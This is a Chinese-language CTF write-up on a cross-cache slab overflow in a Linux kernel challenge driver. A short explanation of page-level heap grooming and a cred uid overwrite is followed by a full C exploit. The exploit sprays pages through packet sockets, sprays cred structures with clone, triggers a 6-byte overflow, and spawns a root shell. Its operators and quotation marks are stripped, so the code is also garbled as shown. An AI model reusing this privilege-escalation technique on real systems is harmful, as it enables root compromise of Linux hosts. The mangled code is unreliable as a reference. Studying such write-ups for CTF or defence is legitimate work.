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什么叫 Cross Cache 呢#xff1f;其实就是字面意思#xff0c;我们知道内核中的大部分结构体都有自己的专属 slab 内存池。那现在我们可以想象一下这个场景#xff0c;我们拥有一个特定 kmem-cache 的溢出漏洞#xff0c;那么我们该如何利用呢#xff1f;
程序分析…前言
什么叫 Cross Cache 呢其实就是字面意思我们知道内核中的大部分结构体都有自己的专属 slab 内存池。那现在我们可以想象一下这个场景我们拥有一个特定 kmem-cache 的溢出漏洞那么我们该如何利用呢
程序分析
启动脚本不用看了该开的保护都开了。而作者将 config 给了我们所以我们可以看下部分编译选项。
# CONFIG_SLAB is not set
# CONFIG_SLAB_MERGE_DEFAULT is not set
CONFIG_SLAB_FREELIST_RANDOMy
CONFIG_SLAB_FREELIST_HARDENEDy
CONFIG_MEMCGy
CONFIG_MEMCG_KMEMy
# CONFIG_DEBUG_CREDENTIALS is not set
驱动程序单独创建了一个 kmem-cache而该 kmem-cache 是独立的不会与其他 kmem-cache 合并且大小为 512 字节。 ioctl 函数中有增加堆块和修改堆块的功能 修改堆块时有白给了 6 字节溢出 漏洞利用
上面的堆块都是针对 castaway_cache 的 object而该 cache 是与其他 cache 隔离的所以从 slub 层面去考虑我们会发现无法利用该漏洞。
而我们知道 slub 是从伙伴系统申请的内存然后在划分成一个一个的 object 去使用。 而伙伴系统的内存是连续的所以我们可以通过页级堆风水去形成如下内存布局图片来自wiki 然后就形成了 cross-cache overflow 啦。
这里 victim object 选择谁呢6字节我们是可以修改 cred 的 uid 的所以直接打 cred。
我们可以知道 CONFIG_DEBUG_CREDENTIALS 这个编译选项是没有设置的所以可以直接溢出到 uid 的低两个字节但是这是足够的。 其他的见 ctf-wiki 即可也没啥好说的了也不想浪费时间去写一些垃圾。
exp
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include stdio.h
#include unistd.h
#include stdlib.h
#include fcntl.h
#include signal.h
#include string.h
#include stdint.h
#include sys/mman.h
#include sys/syscall.h
#include sys/ioctl.h
#include sched.h
#include ctype.h
#include time.h
#include pthread.h
#include sys/types.h
#include sys/wait.h
#include sys/socket.h#define PACKET_VERSION 10
#define PACKET_TX_RING 13#define PGV_PAGE_NUM 1000#define CRED_SPRAY_NUM 1066
#define VUL_OBJ_NUM 400
#define VUL_OBJ_SIZE 512int fd;
int cmd_pipe_req[2], cmd_pipe_reply[2], check_root_pipe[2];
char binsh_str[] /bin/sh;
char* shell_args[] { binsh_str, NULL };
char buf[1];
struct timespec timer {.tv_sec 23535670,.tv_nsec 0,
};struct node {size_t idx;size_t size;char* ptr;
};void add()
{ioctl(fd, 0xCAFEBABE, NULL);
}void edit(size_t idx, size_t size, char* ptr)
{struct node n { .idx idx, .size size, .ptr ptr };ioctl(fd, 0xF00DBABE, n);
}void err_exit(char *msg)
{printf(\033[31m\033[1m[x] Error at: \033[0m%s\n, msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf(\033[32m\033[1m[] %s\n\033[0m, msg);
}void line(char *msg)
{printf(\033[34m\033[1m\n[*] %s\n\033[0m, msg);
}void hexx(char *msg, size_t value)
{printf(\033[32m\033[1m[] %s: %#lx\n\033[0m, msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 (uint64_t *) addr;uint8_t *buf8 (uint8_t *) addr;if (desc ! NULL) {printf(\033[33m[*] %s:\n\033[0m, desc);}for (int i 0; i len / 8; i 4) {printf( %04x, i * 8);for (int j 0; j 4; j) {i j len / 8 ? printf( 0x%016lx, buf64[i j]) : printf( );}printf( );for (int j 0; j 32 j i * 8 len; j) {printf(%c, isprint(buf8[i * 8 j]) ? buf8[i * 8 j] : .);}puts();}
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(cpu_set);CPU_SET(core, cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), cpu_set);printf(\033[34m\033[1m[*] Process binded to core \033[0m%d\n, core);
}struct tpacket_req {unsigned int tp_block_size;unsigned int tp_block_nr;unsigned int tp_frame_size;unsigned int tp_frame_nr;
};enum tpacket_versions {TPACKET_V1,TPACKET_V2,TPACKET_V3,
};/* each allocation is (size * nr) bytes, aligned to PAGE_SIZE */
struct pgv_page_request {int idx;int cmd;unsigned int size;unsigned int nr;
};enum {CMD_ALLOC_PAGE,CMD_FREE_PAGE,CMD_EXIT,
};/* create an isolate namespace for pgv */
void unshare_setup(void)
{char edit[0x100];int tmp_fd;unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);tmp_fd open(/proc/self/setgroups, O_WRONLY);write(tmp_fd, deny, strlen(deny));close(tmp_fd);tmp_fd open(/proc/self/uid_map, O_WRONLY);snprintf(edit, sizeof(edit), 0 %d 1, getuid());write(tmp_fd, edit, strlen(edit));close(tmp_fd);tmp_fd open(/proc/self/gid_map, O_WRONLY);snprintf(edit, sizeof(edit), 0 %d 1, getgid());write(tmp_fd, edit, strlen(edit));close(tmp_fd);
}/* create a socket and alloc pages, return the socket fd */
int create_socket_and_alloc_pages(unsigned int size, unsigned int nr)
{struct tpacket_req req;int socket_fd, version;int ret;socket_fd socket(AF_PACKET, SOCK_RAW, PF_PACKET);if (socket_fd 0) {printf([x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\n);ret socket_fd;goto err_out;}version TPACKET_V1;ret setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION,version, sizeof(version));if (ret 0) {printf([x] failed at setsockopt(PACKET_VERSION)\n);goto err_setsockopt;}memset(req, 0, sizeof(req));req.tp_block_size size;req.tp_block_nr nr;req.tp_frame_size 0x1000;req.tp_frame_nr (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;ret setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, req, sizeof(req));if (ret 0) {printf([x] failed at setsockopt(PACKET_TX_RING)\n);goto err_setsockopt;}return socket_fd;err_setsockopt:close(socket_fd);
err_out:return ret;
}/* parent call it to send command of allocation to child */
int alloc_page(int idx, unsigned int size, unsigned int nr)
{struct pgv_page_request req {.idx idx,.cmd CMD_ALLOC_PAGE,.size size,.nr nr,};int ret;write(cmd_pipe_req[1], req, sizeof(struct pgv_page_request));read(cmd_pipe_reply[0], ret, sizeof(ret));return ret;
}/* parent call it to send command of freeing to child */
int free_page(int idx)
{struct pgv_page_request req {.idx idx,.cmd CMD_FREE_PAGE,};int ret;write(cmd_pipe_req[1], req, sizeof(req));read(cmd_pipe_reply[0], ret, sizeof(ret));return ret;
}/* child threads handler for commands from the pipe */
void spray_cmd_handler(void)
{struct pgv_page_request req;int socket_fd[PGV_PAGE_NUM];int ret;/* create an isolate namespace*/unshare_setup();/* handler request */do {read(cmd_pipe_req[0], req, sizeof(req));if (req.cmd CMD_ALLOC_PAGE) {ret create_socket_and_alloc_pages(req.size, req.nr);socket_fd[req.idx] ret;} else if (req.cmd CMD_FREE_PAGE) {ret close(socket_fd[req.idx]);} else {printf([x] invalid request: %d\n, req.cmd);}write(cmd_pipe_reply[1], ret, sizeof(ret));} while (req.cmd ! CMD_EXIT);
}__attribute__((naked)) int __clone(int flags, int (*fn)(void*))
{/*res clone(flags, 0, 0, 0, 0, 0)if (res 0) fn();else return;*/__asm__ volatile(mov r15, rsi;xor rsi, rsi;xor rdx, rdx;xor r8, r8;xor r9, r9;xor r10, r10;mov rax, 56;syscall;cmp rax, 0;je CHILD;ret;CHILD:jmp r15;);
}int wait_for_root(void* args)
{/*read(check_root_pipe[0], buf, 1); 等待检查信号if (getuid() 0) execve(/bin/sh, args, NULL);else return;*/__asm__ volatile(lea rax, [check_root_pipe];xor rdi, rdi;mov edi, dword ptr [rax];mov rsi, buf;mov rdx, 1;xor rax, rax;syscall;mov rax, 102;syscall;cmp rax, 0;jne failed;lea rdi, [binsh_str];lea rsi, [shell_args];xor rdx, rdx;mov rax, 59;syscall;failed:lea rdi, [timer];xor rsi, rsi;mov rax, 35;syscall;);return 0;
}int main(int argc, char** argv, char** env)
{char buffer[0x1000];bind_core(0);fd open(/dev/castaway, O_RDWR);if (fd 0) err_exit(open /dev/castaway);pipe(cmd_pipe_req);pipe(cmd_pipe_reply);pipe(check_root_pipe);if (!fork()){spray_cmd_handler();exit(EXIT_SUCCESS);}info(STEP.I Spray pgv pages);for (int i 0; i PGV_PAGE_NUM; i)if (alloc_page(i, 0x1000, 1) 0)err_exit(alloc_page);info(STEP.II Free for cred pages);for (int i 1; i PGV_PAGE_NUM; i 2) free_page(i);info(STEP.III Spray cred to fetch pages);for (int i 0; i CRED_SPRAY_NUM; i)if (__clone(CLONE_FILES|CLONE_FS|CLONE_VM|CLONE_SIGHAND, wait_for_root) 0)err_exit(__clone);info(STEP.IV Free for vulnerable pages);for (int i 0; i PGV_PAGE_NUM; i 2) free_page(i);info(STEP.V Triger overflow write 6 bytes);memset(buffer, \0, 0x1000);*(uint32_t*)buffer[VUL_OBJ_SIZE-6] 1;for (int i 0; i VUL_OBJ_NUM; i){add();edit(i, VUL_OBJ_SIZE, buffer);}info(CHILD PROCESS CHECK);write(check_root_pipe[1], buffer, CRED_SPRAY_NUM);sleep(23535670);return 0;
} 效果如下
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